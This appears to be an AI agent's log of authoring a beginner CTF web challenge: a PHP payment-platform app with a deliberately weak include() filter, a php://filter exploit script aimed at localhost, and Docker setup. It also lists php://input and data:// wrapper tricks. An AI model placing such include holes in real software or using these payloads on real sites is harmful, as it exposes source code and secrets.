🤖
# 阶段1:用户输入需求
[2026-01-07 17:11:07] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0
根据用户输入,确认需求如下:
```
语言:PHP
难度:入门(最多1个漏洞)
漏洞:PHP伪协议
场景:支付平台
```
---
# 阶段2:漏洞主次分类
[2026-01-07 17:11:07] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1
**入门难度只允许1个漏洞,跳过此阶段**
- 主漏洞:PHP伪协议(分配 5 篇 writeup)
---
# 阶段3:知识库获取
[2026-01-07 17:11:07] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2
## 3.1 获取学习材料
使用 choice.py 从知识库获取相关 writeup:
[90m🔧 Tool call: launch-process[0m
command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "PHP伪协议""
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
wait: true
max_wait_seconds: 60
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
📤 Output:
📊 指定数量: 5 篇writeup
📁 分类 [PHP伪协议]: 找到 8/8 个有效writeup
✅ 分类 [PHP伪协议]: 从 8 个有效writeup中选择了 5 篇
============================================================
📚 最终汇总选出的 5 篇文章:
- Candroid.md
- Ez ⛳ v2.md
- Include me.md
- Lazy Dev.md
- Phuck2 _(.md
🤖
现在读取这5篇 writeup 文件:
[90m🔧 Tool call: view[0m
path: "data/writeups/Candroid.md"
[90m📋 Tool result: view[0m
Here's the result of running `cat -n` on data/writeups/Candroid.md:
1 ##### Table of Contents
2 \- [Web](#web)
3 \- [Agent 95](#agent95)
4 \- [Localghost](#localghost)
5 \- [Phphonebook](#phphonebook)
6 \- [Official Business](#official-business)
7 \- [Extraterrestrial](#extraterrestrial)
8 \- [Rejected Sequel](#rejected-sequel)
9 \- [Flag jokes](#flag-jokes)
10 \- [Scripting](#Scripting)
11 \- [Rotten](#Rotten)
12 \- [Miscellaneous](#Miscellaneous)
13 \- [Vortex](#Vortex)
14 \- [Fake File](#Fake-File)
... (636 more lines)
[90m🔧 Tool call: view[0m
path: "data/writeups/Ez ⛳ v2.md"
[90m📋 Tool result: view[0m
Here's the result of running `cat -n` on data/writeups/Ez ⛳ v2.md:
1 ## The Challenge
2
3 ### Challenge Metadata
4
5 The challenge got 89 solves, and I personally got the blood on this challenge!
6 ?
7
8 Here is the challenge description:
9
10 > Caddy webserver is AWESOME, using a neat and compact syntax you can do a lot
11 > of powerful things, e.g. wanna know if your browser supports
12 > [HTTP3](https://http3.caddy.chal-kalmarc.tf/)? Or
13 > [TLS1.3](https://tls13.caddy.chal-kalmarc.tf/)? etc
14 > Flag is located at `GET /$(head -c 18 /dev/urandom | base64)` go fetch it.
... (86 more lines)
[90m🔧 Tool call: view[0m
path: "data/writeups/Include me.md"
[90m📋 Tool result: view[0m
Here's the result of running `cat -n` on data/writeups/Include me.md:
[2026-01-07 17:11:24] [INFO] [Augment] [已处理 100 行]
1 # Include me
2 ## Description
3
4 > Zero Dollar Security is hiring infosec enthusiast. Apply ASAP. Connect at
5 > chall.ctf-ehcon.ml:32104
6
7 ## Solution
8
9 This application just has register function
10
11 
13
14 Use Burp Suite to intercept the request.
... (108 more lines)
[90m🔧 Tool call: view[0m
path: "data/writeups/Lazy Dev.md"
[90m📋 Tool result: view[0m
Here's the result of running `cat -n` on data/writeups/Lazy Dev.md:
1 ## Lazy dev - Web challenge (400 points)
2
3 The final web challenge with a link: http://fun.ritsec.club:8007. Hmm it takes
4 us back to *The tangled web* challenge.
5 At first, I was thinking that it was a mistake, but after reviewing all pages
6 I crawled, I saw a comment which lead us further.
7 Comment was found in http://fun.ritsec.club:8007/Stars.html and it goes like
8 this:
9
10 ```
11
12
13 ```
14 So I went to http://fun.ritsec.club:8007/devsrule.php and I am welcomed with:
... (28 more lines)
[90m🔧 Tool call: view[0m
path: "data/writeups/Phuck2 _(.md"
[90m📋 Tool result: view[0m
Here's the result of running `cat -n` on data/writeups/Phuck2 _(.md:
1 ```php
2 “127001” gibi)
3
4 \---
5 ```php
6 $mkdir($userFolder);
7 chdir($userFolder);
8 file_put_contents('profile',print_r($_SERVER,true));
9 chdir('..');
10 ```
11 ``$userFolder`` değeri ile klasör açar ve o klasörün içine ``profile`` adlı
12 dosyaya [``$_SERVER``
13 arrayinin](http://php.net/manual/tr/reserved.variables.server.php) içeriğini
14 yazar.
... (75 more lines)
🤖
# 阶段4:知识整理
[2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3
## 可借鉴技巧清单
| 技巧 | 来源 | 代码片段 | 适用场景 |
|------|------|---------|---------|
| php://filter 读取文件 | Candroid.md (Phphonebook) | `php://filter/convert.base64-encode/resource=phphonebook.php` | PHP文件包含漏洞,读取源码 |
| php://input 执行代码 | Lazy Dev.md | `POST /?magic=php://input` + `` | PHP文件包含转RCE |
| data:// 伪协议绕过 | Phuck2.md | `data:,xx/profile` 配合 `X-Forwarded-For: data:,xx` | 绕过文件包含检查 |
| XXE读取文件 | Include me.md | `` | XML解析场景 |
| iframe LFI | Include me.md | `` | HTML注入读取文件 |
| extract() 变量覆盖 | Candroid.md (Phphonebook) | `extract($_POST);` 导致 `$emergency` 变量被注入 | PHP变量覆盖漏洞 |
---
# 阶段5:题目设计
[2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4
## 5.1 设计目标
- **差异度**:入门 ≥20%
- **深度**:入门 1.5-4.0
- **趣味性**:入门 0-1 个啊哈时刻
## 5.2 利用链设计
| 步骤 | 类型 | 技术点 | 深度 | 知识来源 |
|------|------|--------|------|---------|
| Step 1 | 信息收集 | 发现订单查询功能 | 1.5/10 | 新设计 |
| Step 2 | 漏洞利用 | php://filter读取支付配置文件 | 3.5/10 | Candroid.md |
| Step 3 | 获取flag | 从配置文件中提取flag | 1.0/10 | 新设计 |
**平均深度**:(1.5 + 3.5 + 1.0) / 3 = 2.0/10 ✅ 符合入门要求
**啊哈时刻**:发现可以用php://filter读取任意文件(1个)
## 5.3 核心代码预写
### 漏洞触发代码(真实代码)
❌ 安全写法(不能触发):
```php
$allowed_files = ['order.php', 'status.php'];
[2026-01-07 17:12:07] [INFO] [Augment] [已处理 200 行]
if (in_array($_GET['page'], $allowed_files)) {
include($_GET['page']);
}
```
✅ 漏洞写法(能触发):
```php
$page = str_replace(['../', '\\'], '', $_GET['page']);
if (strpos($page, '.php') !== false) {
include($page);
}
```
### exp 核心代码(真实代码)
```python
import requests
import base64
import re
url = "http://localhost:42555"
payload = "php://filter/convert.base64-encode/resource=config.php"
r = requests.get(f"{url}/index.php?page={payload}")
flag = re.findall(r'DASCTF\{[^}]+\}', base64.b64decode(re.findall(r'[A-Za-z0-9+/=]{40,}', r.text)[0]).decode())[0]
print(flag)
```
### 依赖清单
- 无需额外依赖(使用PHP内置功能)
## 5.3.1 代码可运行性自检
1. **导入完整吗?** ✅ PHP无需导入,Python使用标准库
2. **路由正确吗?** ✅ `/index.php?page=xxx`
3. **参数名一致吗?** ✅ 都使用 `page` 参数
4. **响应格式对吗?** ✅ exp期望HTML响应中包含base64编码的内容
## 5.4 简易 exp 草稿(用于 Docker 测试)
```python
import requests
import base64
import re
url = "http://localhost:42555"
payload = "php://filter/convert.base64-encode/resource=config.php"
r = requests.get(f"{url}/index.php?page={payload}")
base64_pattern = r'[A-Za-z0-9+/=]{40,}'
matches = re.findall(base64_pattern, r.text)
if matches:
decoded = base64.b64decode(matches[0]).decode()
flag_match = re.findall(r'DASCTF\{[^}]+\}', decoded)
if flag_match:
print(flag_match[0])
```
## 5.5 设计摘要
```
### 设计摘要
- 题目名称:PaymentHub
- 利用链:访问订单查询 -> 使用php://filter读取config.php -> 提取flag
- 黑名单:../ 和 \(但不影响php://filter)
- 关键 payload:php://filter/convert.base64-encode/resource=config.php
- 容器端口:42555
```
---
# 阶段6:质量检查
[2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5
### 检查清单
- [x] **深度达标**:平均深度 2.0/10,最高深度 3.5/10 ✅ 符合入门要求(1.5-4.0)
- [x] **漏洞覆盖**:PHP伪协议在利用链中 ✅
- [x] **代码可行**:核心代码使用真实PHP语法,能正常运行 ✅
- [x] **payload 兼容**:黑名单只过滤 `../` 和 `\`,不影响 `php://filter` ✅
**检查通过,进入代码生成阶段**
---
# 阶段7:代码生成
[2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6
## 7.1 生成原则确认
1. **完整性**:包含订单查询、支付状态查询功能
2. **零注释**:代码中无任何注释
3. **真实性**:模拟真实支付平台业务
4. **隐蔽性**:文件包含漏洞隐藏在页面路由中
5. **不提供源码**:可以硬编码配置信息
## 7.2 增量生成
### 步骤1:后端代码
[90m🔧 Tool call: launch-process[0m
command: "mkdir -p "output/$(date +%Y%m%d_%H%M%S)_PaymentHub/docker/web/src""
[2026-01-07 17:12:07] [INFO] [Augment] [已处理 300 行]
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
wait: true
max_wait_seconds: 10
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
(No output)
[90m🔧 Tool call: launch-process[0m
command: "ls -la output/ | tail -1 | awk '{print $NF}'"
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
max_wait_seconds: 10
wait: true
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
📤 Output:
writeup.md
[90m🔧 Tool call: launch-process[0m
command: "find output -type d -name "*PaymentHub" | head -1"
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
max_wait_seconds: 10
wait: true
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
📤 Output:
output/20260107_171207_PaymentHub
🤖
好的,目录已创建:`output/20260107_171207_PaymentHub`
现在开始生成后端代码:
[90m🔧 Tool call: save-file[0m
instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
path: "output/20260107_171207_PaymentHub/docker/web/src/index.php"
file_content: "
PaymentHub - 专业支付平台
... (120 more lines)
[90m📋 Tool result: save-file[0m
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/index.php}
🤖
继续生成其他PHP文件:
[90m🔧 Tool call: save-file[0m
file_content: "';
echo '';
echo '';
echo '';
echo '';
echo '
';
echo '';
echo '';
} else {
$order_id = htmlspecialchars($_GET['order_id']);
echo '';
echo '
订单信息
';
echo '
订单号:' . $order_id . '
';
... (9 more lines)
[90m📋 Tool result: save-file[0m
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/order.php}
[90m🔧 Tool call: save-file[0m
file_content: "';
echo '
支付状态查询
';
echo '
当前系统运行正常
';
echo '
支付通道:微信支付、支付宝、银联
';
echo '
系统版本:v2.1.5
';
echo '
';
?>
"
instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
path: "output/20260107_171207_PaymentHub/docker/web/src/status.php"
[90m📋 Tool result: save-file[0m
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/status.php}
🤖
继续生成配置文件(包含flag):
[90m🔧 Tool call: save-file[0m
[2026-01-07 17:13:02] [INFO] [Augment] [已处理 400 行]
file_content: " 'localhost',
'db_user' => 'payment_user',
'db_pass' => 'P@yment2024!Secure',
'db_name' => 'payment_db',
'api_key' => 'sk_live_51HxYz2KqP9mN8vL3cR4tF6wE',
'api_secret' => 'whsec_7Jk9mN2pQ5rT8vX3cF6yH4bL',
'merchant_id' => 'MCH20240115',
'flag' => getenv('DASFLAG'),
'debug' => false
);
?>
"
instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
... (1 more lines)
[90m📋 Tool result: save-file[0m
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/config.php}
🤖
好的,继续生成 Dockerfile:
[90m🔧 Tool call: save-file[0m
instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
path: "output/20260107_171207_PaymentHub/docker/web/Dockerfile"
file_content: "FROM php:7.4-apache
ENV DASFLAG=DASCTF{test12345}
RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \
apt-get update && \
apt-get install -y --no-install-recommends \
&& rm -rf /var/lib/apt/lists/*
COPY src/ /var/www/html/
COPY files/flag.sh /flag.sh
COPY files/start.sh /start.sh
... (9 more lines)
[90m📋 Tool result: save-file[0m
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/Dockerfile}
🤖
继续生成 docker-compose.yml:
[90m🔧 Tool call: save-file[0m
file_content: "version: '3'
services:
web:
build: ./web
container_name: paymenthub_web
ports:
- "42555:80"
restart: unless-stopped
"
instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
path: "output/20260107_171207_PaymentHub/docker/docker-compose.yml"
[90m📋 Tool result: save-file[0m
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/docker-compose.yml}
🤖
继续生成 files 目录下的文件:
[90m🔧 Tool call: launch-process[0m
command: "mkdir -p output/20260107_171207_PaymentHub/docker/web/files"
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
max_wait_seconds: 10
wait: true
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
(No output)
🤖
好的,继续生成 flag.sh:
[90m🔧 Tool call: save-file[0m
file_content: "#!/bin/bash
echo $DASFLAG > /flag.txt
export DASFLAG=nonono
rm -f /flag.sh
"
instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
path: "output/20260107_171207_PaymentHub/docker/web/files/flag.sh"
[90m📋 Tool result: save-file[0m
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/files/flag.sh}
🤖
继续生成 start.sh:
[90m🔧 Tool call: save-file[0m
file_content: "#!/bin/bash
/flag.sh
apache2-foreground
"
instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED."
path: "output/20260107_171207_PaymentHub/docker/web/files/start.sh"
[90m📋 Tool result: save-file[0m
[2026-01-07 17:13:32] [INFO] [Augment] [已处理 500 行]
File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/files/start.sh}
🤖
好的,现在验证设计-实现一致性:
### 7.5 设计-实现一致性验证
- [x] 每个设计步骤都有对应的代码实现
- Step 1: 订单查询功能 → order.php ✅
- Step 2: php://filter读取config.php → index.php中的include漏洞 ✅
- Step 3: 提取flag → config.php中存储flag ✅
- [x] 漏洞触发点使用的是"漏洞写法" ✅
- index.php 第4-5行使用了不安全的过滤和include
- [x] 路由路径、参数名与阶段5设计一致 ✅
- 使用 `?page=` 参数
- 支持 `.php` 文件包含
---
# 阶段8:Docker 构建与测试
[2026-01-07 17:13:43] [STAGE] [Augment] 🎯 [阶段 7] 阶段 7
## 8.1 分层验证
### 第1层:容器启动
[90m🔧 Tool call: launch-process[0m
command: "cd output/20260107_171207_PaymentHub/docker && docker-compose -p ctf_paymenthub down 2>/dev/null; docker-compose -p ctf_paymenthub up -d --build"
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
max_wait_seconds: 120
wait: true
[90m📋 Tool result: launch-process[0m
❌ Error:
Command failed with exit code 1
📤 Output:
#1 [internal] load build definition from Dockerfile
#1 transferring dockerfile: 594B done
#1 DONE 0.0s
#2 [internal] load .dockerignore
#2 transferring context: 2B done
#2 DONE 0.0s
#3 [internal] load metadata for docker.io/library/php:7.4-apache
#3 DONE 1.5s
#4 [1/6] FROM docker.io/library/php:7.4-apache@sha256:c9d7e608f73832673479770d66aacc8100011ec751d1905ff63fae3fe2e0ca6d
#4 CACHED
#5 [internal] load build context
#5 transferring context: 5.35kB done
#5 DONE 0.0s
#6 [2/6] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && apt-get update && apt-get install -y --no-install-recommends && rm -rf /var/lib/apt/lists/*
#6 0.841 Get:1 http://mirrors.aliyun.com/debian bullseye InRelease [75.1 kB]
#6 0.962 Get:2 http://mirrors.aliyun.com/debian-security bullseye-security InRelease [27.2 kB]
#6 1.055 Get:3 http://mirrors.aliyun.com/debian bullseye-updates InRelease [44.0 kB]
#6 1.173 Get:4 http://mirrors.aliyun.com/debian bullseye/main arm64 Packages [7955 kB]
#6 1.890 Get:5 http://mirrors.aliyun.com/debian-security bullseye-security/main arm64 Packages [434 kB]
#6 1.936 Get:6 http://mirrors.aliyun.com/debian bullseye-updates/main arm64 Packages [16.3 kB]
#6 2.877 Fetched 8551 kB in 3s (3354 kB/s)
#6 2.877 Reading package lists...
#6 3.283 Reading package lists...
#6 3.641 Building dependency tree...
#6 3.743 Reading state information...
#6 3.834 0 upgraded, 0 newly installed, 0 to remove and 73 not upgraded.
#6 DONE 3.9s
#7 [3/6] COPY src/ /var/www/html/
#7 DONE 0.0s
#8 [4/6] COPY files/flag.sh /flag.sh
#8 DONE 0.0s
#9 [5/6] COPY files/start.sh /start.sh
#9 DONE 0.0s
#10 [6/6] RUN chmod +x /flag.sh /start.sh && chown -R www-data:www-data /var/www/html && chmod -R 755 /var/www/html
#10 DONE 0.2s
#11 exporting to image
#11 exporting layers 0.1s done
#11 writing image sha256:11a64c38ee3ef4a6836488ba17a93aade9b5e08b03b00a2217fa130c6a2ab588 done
#11 naming to docker.io/library/ctf_paymenthub-web done
#11 DONE 0.1s
Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them
Network ctf_paymenthub_default Creating
Network ctf_paymenthub_default Created
Container paymenthub_web Creating
Error response from daemon: Conflict. The container name "/paymenthub_web" is already in use by container "9772c00739136451d972bc91b4a7c25bd1d33af16a5a473187d28a0a2c67d821". You have to remove (or rename) that container to be able to reuse that name.
🤖
需要先清理旧容器,让我修复这个问题:
[90m🔧 Tool call: launch-process[0m
command: "docker rm -f paymenthub_web 2>/dev/null || true"
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
max_wait_seconds: 30
[2026-01-07 17:13:58] [INFO] [Augment] [已处理 600 行]
wait: true
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
📤 Output:
paymenthub_web
🤖
好的,现在重新启动容器:
[90m🔧 Tool call: launch-process[0m
command: "cd output/20260107_171207_PaymentHub/docker && docker-compose -p ctf_paymenthub up -d"
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
max_wait_seconds: 60
wait: true
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
📤 Output:
Container paymenthub_web Creating
Container paymenthub_web Created
Container paymenthub_web Starting
Container paymenthub_web Started
🤖
好的,容器启动成功!继续进行测试。
### 第2层:服务可用测试
[90m🔧 Tool call: launch-process[0m
command: "sleep 3 && curl -s http://localhost:42555/ | head -20"
cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web"
max_wait_seconds: 30
wait: true
[90m📋 Tool result: launch-process[0m
✅ Command completed successfully
📤 Output:
PaymentHub - 专业支付平台